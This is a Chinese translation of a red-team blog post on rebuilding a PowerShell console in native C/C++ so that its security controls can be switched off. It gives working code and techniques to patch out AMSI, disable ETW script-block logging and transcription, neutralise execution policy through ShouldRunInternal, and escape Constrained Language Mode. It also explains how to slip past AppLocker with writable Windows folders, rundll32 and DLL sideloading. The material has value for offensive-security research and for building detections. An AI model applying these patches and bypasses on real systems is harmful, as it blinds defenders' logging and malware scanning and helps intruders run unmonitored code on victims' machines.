用C/C++重构PowerShell
发布日期:2025年2月18日
阅读时间:26分钟
内容提要
我喜欢PowerShell,非常喜欢!我喜欢它的多功能性、易用性以及与Windows操作系统的集成。但它也有一些功能(如AMSI、CLM和其他日志记录功能)会降低其运行速度。我想的是性能提升。我相信如果没有这些功能,我的脚本可以运行得更快。
开个玩笑,我知道围绕这个主题已经做了很多工作,但我想以与现有项目略有不同的方式来解决这个问题。因此,我研究了一种仅使用原生代码实例化完整PowerShell控制台的方法,这同时允许我进行一些“清理”。
为什么?
在过去10年(甚至更久)中,不使用powershell.exe执行PowerShell脚本是一个被广泛讨论的主题。那么,为什么还要 reinvent the wheel,或者更确切地说, reinvent PowerShell呢?
老实说,我在这里要分享的工作并没有什么突破性。我使用的几乎所有技术都已经在不同的文章和工具中讨论或实现过。
主要问题是这些工具通常一次只关注一两个安全功能,例如反恶意软件扫描接口(AMSI)或约束语言模式(CLM),并且大多是用C#实现的。为此使用.NET可能是个问题,因为自4.8版本以来,AMSI也集成在框架中,这增加了一层潜在的检测。
尽管如此,也有反例。例如,Invisi-Shell是用C/C++实现的,并全面修补了所有已知的安全功能。为此,它注册了一个CLR分析器DLL,并在一些函数上设置钩子以动态修补它们。
然而,我想用一种更直接的方法来解决这个问题,尽管只使用原生代码,这样我就可以修补任何我想要的函数,而无需额外的AMSI层。虽然我最初只打算发布一个工具,但一位队友说服我,这是一个回顾不同PowerShell安全功能并分享我的一些思考过程的好机会。那么,事不宜迟,让我们开始吧!
使用原生代码启动PowerShell
在考虑绕过任何安全功能之前,我想回答的第一个问题是“仅使用C/C++创建完整的PowerShell控制台有多容易?”。事实证明答案非常简单,或者我敢说“微不足道”。你只需要这样做:
int main() {WinExec("powershell.exe", SW_SHOWNORMAL);
}
这够简单了。这个项目进展很快!……好吧,我在开玩笑,这不是我真正想要的。
我这个项目的最初灵感来自GitHub上的以下概念验证:bypass-clm。我在几种情况下使用它来绕过PowerShell的约束语言模式(稍后会详细介绍)。
// https://github.com/calebstewart/bypass-clm/blob/master/bypass-clm/Program.cs
Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner","Help",new string[] { "-exec", "bypass", "-nop" }
);
它使用Microsoft.PowerShell.ConsoleShell.Start方法创建一个实际的PowerShell控制台,而不是像其他一些工具那样模拟它。因此,你可以使用自动完成、命令历史记录,甚至CTRL+C,就像在典型的powershell.exe窗口中一样。
但等等,那是C#代码,不是原生代码!我们才刚刚开始,我就已经抛弃了最初的约束。除非……
如果你是一名渗透测试员、红队成员或类似角色,你可能已经使用过利用称为平台调用(P/Invoke)的功能来执行非托管代码的PowerShell脚本或.NET可执行文件,也许没有意识到这一点。提醒一下,PowerShell是一个基于.NET构建的跨平台命令shell,而.NET是一个产生托管代码(中间语言)的框架,需要由公共语言运行时(CLR)解释,这与用C/C++编写的应用程序相反,后者执行非托管代码,因此可以在没有额外依赖的情况下运行。
由于红队技术在过去几年已大规模转向.NET,因此很常见的是从托管应用程序执行非托管代码,因为归根结底,你仍然希望能够访问Windows API,甚至更低级别的系统调用。然而,一个较少为人知的事实是,它也可以反向工作。确实,微软提供了使非托管应用程序能够集成CLR的接口,从而执行托管代码。这个过程更加复杂,但是可行的。
同样,这并不新鲜,它已经在许多攻击工具中使用。以下是一些例子。
- UnmanagedPowerShell by @tifkin_
- loadDotNetAssemblyFromMemory.cpp by @Arno0x
- BetterNetLoader by @racoten
下面是从用C/C++编写的原生应用程序初始化CLR通常使用的代码。这是其余代码的基础构建块,因为它将用于加载其他程序集、实例化对象和调用方法。
int main() {ICLRMetaHost* pMetaHost = NULL;ICLRRuntimeInfo* pRuntimeInfo = NULL;ICorRuntimeHost* pRuntimeHost = NULL;IUnknown* pAppDomainThunk = NULL;BOOL bIsLoadable;mscorlib::_AppDomain* pAppDomain = NULL;CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<PVOID*>(&pMetaHost));pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast<PVOID*>(&pRuntimeInfo));pRuntimeInfo->IsLoadable(&bIsLoadable);pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<PVOID*>(&pRuntimeHost));pRuntimeHost->Start();pRuntimeHost->CreateDomain(APP_DOMAIN, nullptr, &pAppDomainThunk);pAppDomainThunk->QueryInterface(IID_PPV_ARGS(&pAppDomain));// 使用应用程序域加载程序集并执行托管代码...
}
一旦CLR加载完毕,我们就可以开始导入其他程序集并执行托管代码。计划是将ConsoleShell.Start()方法调用分解为两个部分。
- 调用System.Management.Automation.Runspaces.RunspaceConfiguration.Create()来创建一个新的RunspaceConfiguration对象。
- 调用Microsoft.PowerShell.ConsoleShell.Start()来创建PowerShell控制台。
这两个步骤的概念非常相似。想法是首先确保加载包含目标类的程序集。然后,可以查询类及其方法。最后,可以调用目标方法。
BOOL CreateInitialRunspaceConfiguration(mscorlib::_AppDomain* pAppDomain,VARIANT* pvtRunspaceConfiguration
) {// ...BSTR bstrRunspaceConfigurationFullName = SysAllocString(L"System.Management.Automation.Runspaces.RunspaceConfiguration");BSTR bstrRunspaceConfigurationName = SysAllocString(L"RunspaceConfiguration");SAFEARRAY* pRunspaceConfigurationMethods = NULL;VARIANT vtEmpty = { 0 };VARIANT vtResult = { 0 };mscorlib::_Assembly* pAutomationAssembly = NULL;mscorlib::_Type* pRunspaceConfigurationType = NULL;mscorlib::_MethodInfo* pCreateInfo = NULL;// 加载包含'RunspaceConfiguration'类的程序集System.Management.Automation.dll。LoadAssembly(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, &pAutomationAssembly)// 使用程序集查询'RunspaceConfiguration'类型。pAutomationAssembly->GetType_2(bstrRunspaceConfigurationFullName, &pRunspaceConfigurationType);// 使用'RunspaceConfiguration'类型列出类的方法。pRunspaceConfigurationType->GetMethods(static_cast<mscorlib::BindingFlags>(mscorlib::BindingFlags::BindingFlags_Static |mscorlib::BindingFlags::BindingFlags_Public),&pRunspaceConfigurationMethods);// 辅助函数,在列表中查找'Create'方法。FindMethodInArray(pRunspaceConfigurationMethods, L"Create", 0, &pCreateInfo);// 调用'Create'方法。pCreateInfo->Invoke_3(vtEmpty, // 对象实例为空,因为我们调用的是静态方法。NULL, // 参数列表为null,因为"Create"不带任何参数。&vtResult // 操作结果。它包含对创建对象的引用。);memcpy_s(pvtRunspaceConfiguration, sizeof(*pvtRunspaceConfiguration), &vtResult, sizeof(vtResult));// 清理并返回...
}
在RunspaceConfiguration.Create()方法调用的情况下,这个过程相当简单,因为该方法是静态的,因此不需要创建类的实例。然而,由于这里处理的所有不寻常类型(如BSTR、VARIANT、SAFEARRAY)在处理组件对象模型(COM)时很常见,所以乍一看可能显得复杂。
如前所述,ConsoleShell.Start()的过程非常相似。唯一的区别是我们需要准备一个SAFEARRAY参数来传递对我们的RunspaceConfiguration实例的引用、横幅文本和一个可选的参数列表。
BOOL StartConsoleShell(mscorlib::_AppDomain* pAppDomain,VARIANT* pvtRunspaceConfiguration,LPCWSTR pwszBanner,LPCWSTR pwszHelp,LPCWSTR* ppwszArguments,DWORD dwArgumentCount
) {// ...BSTR bstrConsoleShellFullName = SysAllocString(L"Microsoft.PowerShell.ConsoleShell");BSTR bstrConsoleShellName = SysAllocString(L"ConsoleShell");BSTR bstrConsoleShellMethodName = SysAllocString(L"Start");VARIANT vtEmpty = { 0 };VARIANT vtResult = { 0 };VARIANT vtBannerText = { 0 };VARIANT vtHelpText = { 0 };VARIANT vtArguments = { 0 };SAFEARRAY* pStartArguments = NULL;mscorlib::_MethodInfo* pStartMethodInfo = NULL;// ...// 加载程序集,获取类型信息,获取方法信息...InitVariantFromString(pwszBanner, &vtBannerText);InitVariantFromString(pwszHelp, &vtHelpText);InitVariantFromStringArray(ppwszArguments, dwArgumentCount, &vtArguments);pStartArguments = SafeArrayCreateVector(VT_VARIANT, 0, 4);lArgumentIndex = 0;hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, pvtRunspaceConfiguration);lArgumentIndex = 1;hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtBannerText);lArgumentIndex = 2;hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtHelpText);lArgumentIndex = 3;hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtArguments);pStartMethodInfo->Invoke_3(vtEmpty, pStartArguments, &vtResult);// 清理并返回...
}
最后,我们可以通过链接所有先前的辅助函数将所有内容整合在一起。总的来说,重新实现我开头提到的单行C#代码大约需要500行C/C++代码!
void StartPowerShell()
{mscorlib::_AppDomain* pAppDomain = NULL;CLR_CONTEXT cc = { 0 };VARIANT vtInitialRunspaceConfiguration = { 0 };LPCWSTR pwszBannerText = L"Windows PowerChell\nCopyright (C) Microsoft Corporation. All rights reserved.";LPCWSTR pwszHelpText = L"Help message";LPCWSTR ppwszArguments[] = { NULL };InitializeCommonLanguageRuntime(&cc, &pAppDomain);// System.Management.Automation.Runspaces.RunspaceConfiguration.Create()CreateInitialRunspaceConfiguration(pAppDomain, &vtInitialRunspaceConfiguration);// Microsoft.PowerShell.ConsoleShell.Start()StartConsoleShell(pAppDomain, &vtInitialRunspaceConfiguration, pwszBannerText, pwszHelpText, ppwszArguments, ARRAYSIZE(ppwszArguments));DestroyCommonLanguageRuntime(&cc, pAppDomain);
}
反恶意软件扫描接口(AMSI)
我想解决的第一个安全功能是反恶意软件扫描接口。我相信你已经非常熟悉这种保护措施。它集成在PowerShell和.NET中,仅仅包括扫描用户代码,根据一组检测规则识别潜在的恶意字符串或字节序列。
在实现任何绕过之前,我们应该建立一个标记来检查保护是否处于活动状态。在AMSI的情况下,我们知道默认情况下会检测字符串Invoke-Mimikatz,但端点检测和响应(EDR)代理可能会附带额外的检测规则。
我在这里选择的绕过技术完全是任意的。它是脚本Nuke-AMSI.ps1中实现的技术。它包括对amsi.dll中的函数AmsiOpenSession进行单字节补丁。
test rdx,rdx
je 0x11 ; ----+ 用jmp修补
test rcx,rcx ; |
je 0x11 ; |
cmp QWORD PTR [rcx+0x8],0x0 ; |
jne 0x18 ; |
mov eax,0x80070057 ; <---+
ret
它将第二行的条件跳转JE(或JZ)替换为基本的JMP,以将执行流重定向到MOV EAX,0x80070057; RET,这导致函数系统地返回错误代码0x80070057(即“无效参数”)。
这个补丁在我们的原生应用程序中很容易实现,因为目标代码是非托管的,所以我们只需要获取模块amsi.dll的基地址,获取函数AmsiOpenSession的地址,并将偏移量3处(跳过第一个TEST指令)的字节0x74(JE或JZ)替换为值0xeb(JMP)。
BOOL PatchAmsiOpenSession() {BYTE bPatch[] = { 0xeb };HMODULE hModule = GetModuleHandleW(pwszModuleName);FARPROC pProcedure = GetProcAddress(hModule, pszProcedureName);VirtualProtectEx(GetCurrentProcess(), pProcedure, 1, PAGE_EXECUTE_READWRITE, &dwOldProtect);memcpy_s(pProcedure, 1, bPatch, 1);VirtualProtectEx(GetCurrentProcess(), pProcedure, 1, dwOldProtect, &dwOldProtect);
}
这样,一个保护措施就被解决了!命令Invoke-Mimikatz不再被AMSI阻止。PowerShell只是抱怨它不存在。
脚本块和模块日志记录
PowerShell日志记录分为两类:模块日志记录和脚本块日志记录。当启用时,PowerShell会记录解释器处理的命令和脚本块的内容。
这些日志记录功能可以通过在计算机配置 > 管理模板 > Windows组件 > Windows PowerShell下配置以下组策略来启用。
下面的屏幕截图显示了一个脚本块日志记录事件(ID 4104)的示例,其中包含在解释器中执行的命令内容。
我在这里选择的绕过技术是在脚本KillETW.ps1中实现的技术,但在我们深入研究之前,我认为提供一些背景信息很重要,否则可能很难立即理解。
首先,PowerShell日志记录(毫不奇怪)依赖于Windows事件跟踪(ETW),因此我们可以修补低级系统调用,如NtTraceEvent或EtwWriteEvent,但这非常具有侵入性,而且EDR代理往往不喜欢这种把戏。
幸运的是,如果你不知道,PowerShell是一个开源项目,因此我们可以在GitHub上浏览其源代码:https://github.com/PowerShell/PowerShell。我们对PSEtwLogProvider类特别感兴趣,它有一个类型为EventProvider的etwProvider属性。
EventProvider类有一个名为m_enabled的属性,顾名思义,它决定提供程序是否启用。
因此,通过将此属性设置为0,我们可以禁用PowerShell ETW提供程序,从而阻止所有事件日志。这是由脚本KillETW.ps1通过一个相当长的一行命令实现的,我冒昧地将其分解为5个步骤以使其更易读。
# 获取"EventProvider"类型
$EventProviderType = [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider')
# 获取"EventProvider"的字段"m_enabled"
$EtwEnabledField = $EventProviderType.GetField('m_enabled','NonPublic,Instance')
# 获取"PSEtwLogProvider"类型
$PSEtwLogProviderType = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
# 获取"PSEtwLogProvider"的字段"etwProvider"
$EtwProvider = $PSEtwLogProviderType.GetField('etwProvider','NonPublic,Static').GetValue($null)
# 将"m_enabled"的值设置为0以禁用ETW提供程序
$EtwEnabledField.SetValue($EtwProvider, 0)
这转化为以下C/C++代码。
BOOL DisablePowerShellEtwProvider(mscorlib::_AppDomain* pAppDomain) {// 变量初始化...// 获取关于"System.Management.Automation.Tracing.PSEtwLogProvider"的类型信息pAutomationAssembly->GetType_2(bstrPsEtwLogProviderFullName, &pPsEtwLogProviderType);// 获取关于"etwProvider"字段的信息pPsEtwLogProviderType->GetField(bstrEtwProviderFieldName,static_cast<mscorlib::BindingFlags>(mscorlib::BindingFlags::BindingFlags_Static |mscorlib::BindingFlags::BindingFlags_NonPublic),&pEtwProviderFieldInfo);// 获取"etwProvider"中引用的"EventProvider"对象pEtwProviderFieldInfo->GetValue(vtEmpty, &vtPsEtwLogProviderInstance);// 获取关于"System.Diagnostics.Eventing.EventProvider"的信息pCoreAssembly->GetType_2(bstrEventProviderFullName, &pEventProviderType);// 获取关于"m_enabled"字段的信息pEventProviderType->GetField(bstrEnabledFieldName,static_cast<mscorlib::BindingFlags>(mscorlib::BindingFlags::BindingFlags_Instance |mscorlib::BindingFlags::BindingFlags_NonPublic),&pEnabledInfo);// 将"EventProvider"实例的"m_enabled"字段设置为0InitVariantFromInt32(0, &vtZero);pEnabledInfo->SetValue_2(vtPsEtwLogProviderInstance, vtZero);// 清理并返回...
}
不幸的是,很难显示某物的缺失,所以你必须相信我的话,但下面的屏幕截图显示在执行命令Get-ExecutionPolicy后没有生成任何事件日志。
转录
PowerShell转录是否真正被视为安全功能是有争议的,尽管它旨在将解释器中执行的所有命令的输入和输出捕获到日志文件中。要正确实现它,输出目录应设置为配置了适当权限的共享文件夹,以便用户无法查看其他用户的日志文件。尽管如此,很难阻止用户更改他们自己的转录。
如下所示,一旦启用该设置,命令Get-ExecutionPolicy及其输出确实都记录到转录文件中。请注意,在共享环境的上下文中,此配置显然是不安全的,因为文件夹C:\Transcription将继承一个授予登录到计算机的任何用户读取访问权限的DACL。
转录似乎主要在PSHostUserInterface类中实现。在同一命名空间中,你还会找到一个名为TranscriptionOption的类,其中包含方法FlushContentToDisk。顾名思义,它负责将转录内容写入磁盘上的文件。因此,通过在函数开头用一个简单的RET指令修补此函数,我们可以阻止PowerShell向磁盘写入任何内容。这是Invisi-Shell中实现的绕过技术。
这次,情况不同了。我们不是在讨论修补原生函数,就像我们之前对AMSI所做的那样,我们是在讨论从原生应用程序修补托管代码。这种操作并不那么简单,并且有其自身的微妙之处和挑战。
幸运的是,Kyle Avery (Outflank) 在一篇题为“非托管.NET修补”的文章中已经记录了这个问题,该文章本身受到Peter Winter-Smith (MDSec) 几年前写的一篇题为“按摩你的CLR:防止进程内.NET程序集中的Environment.Exit”的文章的启发。
事情是这样的,.NET产生中间语言(IL)代码,这些代码不能直接被机器解释。如前所述,此IL代码必须通过公共语言运行时(CLR)进行解释,最终导致本机代码的执行。
因此,我们首先需要获取有关目标方法的一些高级信息。我们在上一部分已经看到了如何做到这一点。结果,我们得到一个MethodInfo对象。MethodInfo类继承自MethodBase,后者有一个名为MethodHandle的成员,类型为RuntimeMethodHandle。
这个MethodHandle将帮助我們使用其GetFunctionPointer方法获取函数的地址。在我的情况下,这种技术直接奏效,但重要的是要记住,GetFunctionPointer返回的地址可能不正确,或者至少不是你所期望的。
我在前面提到的MDSec文章中讨论了这个问题。因为.NET产生IL代码,必须由CLR解释,以便使用即时(JIT)编译转换为本机代码,所以有可能此本机代码尚不存在。为了解决这个潜在问题,他们建议使用一种众所周知但不支持的技术,即在查询函数指针之前调用RuntimeHelpers.PrepareMethod。根据文档,PrepareMethod“准备一个方法以包含在受约束的执行区域(CER)中”。换句话说,它强制将目标方法编译为本机代码。
一旦我们有了函数的地址,修补它就很容易了。最后,我们可以通过启动一个新的PowerShell会话来确保其有效。正如我们在下面的屏幕截图中看到的,解释器确实在C:\Transcription中创建了一个带有当前日期的子文件夹,但未能生成转录文件。补丁按预期工作!
执行策略
这里再次,PowerShell的执行策略是否真正被视为安全功能是有争议的。此外,微软将其宣传为“一种安全功能,控制PowerShell加载配置文件和运行脚本的条件。”。然而,当作为“深度防御”方法的一部分考虑时,它可能被证明对潜在攻击者来说是一个额外的麻烦。
我相信你已经非常熟悉这个概念了,但无论如何我将从一个快速的回顾开始。以下是你通常会遇到的三个主要执行策略。
- Restricted - 防止执行所有脚本(工作站的默认设置)。
- RemoteSigned - 阻止执行从Internet下载的未签名脚本,但允许执行“本地”脚本(服务器的默认设置)。不过,可以使用命令Unblock-File删除Mark-of-the-Web(MotW)并使下载的脚本看起来像“本地”脚本。
- AllSigned - 阻止未签名的脚本。这是最安全的选项。
如你所知,这很容易绕过。你可以使用选项-ep Bypass运行powershell.exe,或使用内置命令Set-ExecutionPolicy来实现相同的结果,从而允许执行任何脚本。
事情并不总是那么简单。如果公司或组织决定通过GPO强制执行特定的执行策略,你将观察到不同的行为。为了演示的目的,我将选择最严格的设置:AllSigned。
当使用GPO强制执行执行策略时,PowerShell拒绝降级它,并抛出PermissionDenied异常,消息为“Windows PowerShell成功更新了您的执行策略,但该设置被更具体范围内的策略覆盖。”。
无论如何,我们知道这也很容易绕过。有许多已知的技术可以做到这一点。下面是我通常采用的方法。
在这次演示之后,为什么还要费心实现绕过呢?首先,因为我想全面覆盖PowerShell的每个安全方面,其次,因为这很有趣!
缺点是,当涉及到通过内存修补绕过此功能时,似乎没有太多资料,考虑到我之前的解释,这有点道理。尽管如此,我确实在Scott Sutherland的文章“15种绕过PowerShell执行策略的方法”中找到了一个很酷的技巧。
该技术包括在当前上下文中将PowerShell的AuthorizationManager设置为null。虽然我最终没有使用这种确切的方法,但它确实帮助我找到了要修补的正确方法。
AuthorizationManager类在SecurityManagerBase.cs中实现。根据我们在代码中可以找到的注释,“授权管理器帮助主机控制和限制命令的执行。”。特别是,它有一个名为ShouldRunInternal的方法,“确定是否应运行指定的文件”。
ShouldRunInternal方法不返回整数或布尔值形式的状态代码。相反,它根据当前执行策略处理输入命令,如果执行不被允许,则抛出异常。
因此,通过用一个简单的RET指令修补此函数,我们可以轻松防止它阻止脚本的执行,无论当前强制执行的执行策略是什么。我正是这样做的,而且效果很好!尽管显示当前执行策略的值为AllSigned,但输入脚本毫无怨言地执行了。
约束语言模式(CLM)
最后但肯定不是最不重要的,我们有PowerShell的约束语言模式(CLM)。在本文涵盖的所有安全功能中,这无疑是最具限制性的。它移除了P/Invoke,因此你无法再访问Windows API;它阻止COM对象;它阻止Add-Type,因此你不能再创建自定义类型;等等。
为了测试目的,可以通过在现有PowerShell会话中发出命令$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
轻松启用它。这样做时,默认语言模式值FullLanguage被替换为ConstrainedLanguage。当然,这是一个单向更改,否则将很容易绕过。
但是,如果我想正确测试此保护,我必须正确配置它。这通常通过使用组策略对象启用AppLocker脚本规则来实现。为此,我需要做几件事。首先,我需要生成默认的脚本规则,否则所有脚本将对所有人被阻止。请注意,这些规则默认是“易受攻击的”,我们很快就会看到。接下来,我需要打开AppLocker的属性并“强制执行脚本规则”,如下面的屏幕截图所示。
最后,我们可以启动PowerShell并检查CLM是否已启用。
你可能已经知道,在这种默认配置中有几个简单的绕过方法。首先,我们可以尝试启动PowerShell版本2,因为它没有实现此保护。但是,它需要.NET框架版本2的存在,该版本默认未安装(至少在Windows 10/11上),所以我将忽略这个。
第二个绕过更令人担忧。默认的AppLocker规则使得位于Windows文件夹中的任何脚本文件都被忽略。问题是那里有一些用户可写的文件夹,包括众所周知的C:\Windows\Tasks。因此,通过将脚本移动或复制到此文件夹,你可以轻松规避保护。
下面是一个使用命令New-Object -COMObject InternetExplorer.Application的示例。当直接在解释器中运行时它被阻止,但当从复制到C:\Windows\Tasks\run.ps1的脚本运行时被允许。
我在这里有点偏离主题,但我认为回顾所有这些微妙之处很重要。现在让我们继续我们的内存修补冒险。
对于最后一个绕过,我完成了完整的循环,因为我将重用给我最初灵感的项目中实现的技术:bypass-clm。它修补SystemSecurity类的GetSystemLockdownPolicy()方法,使其始终返回0,即SystemEnforcementMode.None。
因此,实现与我们之前看到的类似,只是我们将用指令XOR RAX, RAX; RET修补目标函数,将返回值设置为0。请注意,我们也可以在这里使用EAX寄存器,因为返回值是一个32位整数。
如下面的屏幕截图所示,补丁按预期工作;查询当前语言模式给出预期的FullLanguage。
奖励:AppLocker可执行规则呢?
有人可能(有理由)争辩说我的最后一个测试是有偏见的。确实,AppLocker的主要用途正是阻止不需要的可执行文件,而我带来了一个作为可执行文件的概念验证。所以让我们更进一步解决这个问题。
为此,我将生成默认的可执行文件规则并强制执行它们。它们与默认脚本规则存在相同的弱点,但我会忽略这一点,并假装它们已适当调整以过滤C:\Windows内的用户可写文件夹。
如果一切配置正确,任何运行未经授权的可执行文件的尝试都应被阻止,并显示以下错误消息:“此程序被组策略阻止。”。
默认情况下,AppLocker仅阻止.exe文件,而不是.dll文件,尽管它们在实践中非常相似。AppLocker确实有一个用于启用DLL规则的高级设置,但微软出于性能原因强烈建议不要这样做。因此,我们可以合理地假设它没有被广泛采用。
我们可以通过将我们的工具编译为DLL,并借助rundll32.exe执行它,甚至通过DLL侧加载(如果我们在AppData中找到合适的应用程序)来利用这个固有缺陷。
实际上需要进行一些调整才能使其工作。首先,为了确保我们的代码在任何情况下都能执行,我们应该在DllMain中创建一个新线程(尽管这违背了最佳实践)。其次,我们必须创建一个新的控制台窗口,否则我们的代码将运行,但我们将无法与PowerShell提示符交互。
就是这样!我们使用DLL而不是EXE文件获得一个新的PowerShell控制台。
结论
在这篇博客文章中,我展示了如何使用原生代码而不是更高级的.NET框架来击败PowerShell的每一个安全功能。你可以在这里查看代码。
还有最后一件事我应该提到。所有显示概念验证正在运行的屏幕截图都是在运行顶级EDR代理的机器上拍摄的,没有检测到内存修补(在代码发布后可能会改变)。目的不是点名羞辱或炫耀。再次强调,本文讨论的技巧非常基础且众所周知。
最重要的是,它检测到了最后一个rundll32.exe命令,因为这是一种常见的技术。这不算多,但足以引发警报。当然,通过再多一点工作,也可以避免这种检测,这不是本文的重点。然而,它显示了多层安全策略如何增加整体检测机会。在这种情况下,AppLocker和EDR代理的结合导致我使用了一种受到高度审查的技术,最终被后者捕获。
本文最初发布在SCRT的博客上。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码